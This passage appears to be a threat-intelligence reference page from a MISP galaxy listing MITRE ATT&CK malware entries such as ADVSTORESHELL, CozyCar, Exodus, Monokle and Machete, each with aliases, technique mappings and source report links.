uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
ADVSTORESHELL - S0045
[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)
The tag is: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045"
ADVSTORESHELL - S0045 is also known as:
-
ADVSTORESHELL
-
AZZY
-
EVILTOSS
-
NETUI
-
Sedreco
ADVSTORESHELL - S0045 has relationships with:
-
similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
CloudDuke - S0054
[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)
The tag is: misp-galaxy:mitre-malware="CloudDuke - S0054"
CloudDuke - S0054 is also known as:
-
CloudDuke
-
MiniDionis
-
CloudLook
CloudDuke - S0054 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/ |
Exodus - S0405
[Exodus](https://attack.mitre.org/software/S0405) is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).(Citation: SWB Exodus March 2019)
The tag is: misp-galaxy:mitre-malware="Exodus - S0405"
Exodus - S0405 is also known as:
-
Exodus
-
Exodus One
-
Exodus Two
Exodus - S0405 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securitywithoutborders.org/blog/2019/03/29/exodus.html |
CozyCar - S0046
[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="CozyCar - S0046"
CozyCar - S0046 is also known as:
-
CozyCar
-
CozyDuke
-
CozyBear
-
Cozer
-
EuroAPT
CozyCar - S0046 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
ELMER - S0064
[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)
The tag is: misp-galaxy:mitre-malware="ELMER - S0064"
ELMER - S0064 is also known as:
-
ELMER
ELMER - S0064 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
Gustuff - S0406
[Gustuff](https://attack.mitre.org/software/S0406) is mobile malware designed to steal users' banking and virtual currency credentials.(Citation: Talos Gustuff Apr 2019)
The tag is: misp-galaxy:mitre-malware="Gustuff - S0406"
Gustuff - S0406 is also known as:
-
Gustuff
Gustuff - S0406 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html |
Monokle - S0407
[Monokle](https://attack.mitre.org/software/S0407) is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.(Citation: Lookout-Monokle)
The tag is: misp-galaxy:mitre-malware="Monokle - S0407"
Monokle - S0407 is also known as:
-
Monokle
Monokle - S0407 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf |
Sakula - S0074
[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)
The tag is: misp-galaxy:mitre-malware="Sakula - S0074"
Sakula - S0074 is also known as:
-
Sakula
-
Sakurel
-
VIPER
Sakula - S0074 has relationships with:
-
similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/ |
PinchDuke - S0048
[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="PinchDuke - S0048"
PinchDuke - S0048 is also known as:
-
PinchDuke
PinchDuke - S0048 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
GeminiDuke - S0049
[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="GeminiDuke - S0049"
GeminiDuke - S0049 is also known as:
-
GeminiDuke
GeminiDuke - S0049 has relationships with:
-
similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
Machete - S0409
[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)
The tag is: misp-galaxy:mitre-malware="Machete - S0409"
Machete - S0409 is also known as:
-
Machete
Machete - S0409 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
RARSTONE - S0055
[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)
The tag is: misp-galaxy:mitre-malware="RARSTONE - S0055"
RARSTONE - S0055 is also known as:
-
RARSTONE
RARSTONE - S0055 has relationships with:
-
similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/ |
SslMM - S0058
[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)
The tag is: misp-galaxy:mitre-malware="SslMM - S0058"
SslMM - S0058 is also known as:
-
SslMM
SslMM - S0058 has relationships with:
-
similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
Links |
WinMM - S0059
[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)
The tag is: misp-galaxy:mitre-malware="WinMM - S0059"
WinMM - S0059 is also known as:
-
WinMM
WinMM - S0059 has relationships with:
-
similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
FakeM - S0076
[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)
The tag is: misp-galaxy:mitre-malware="FakeM - S0076"
FakeM - S0076 is also known as:
-
FakeM
FakeM - S0076 has relationships with:
-
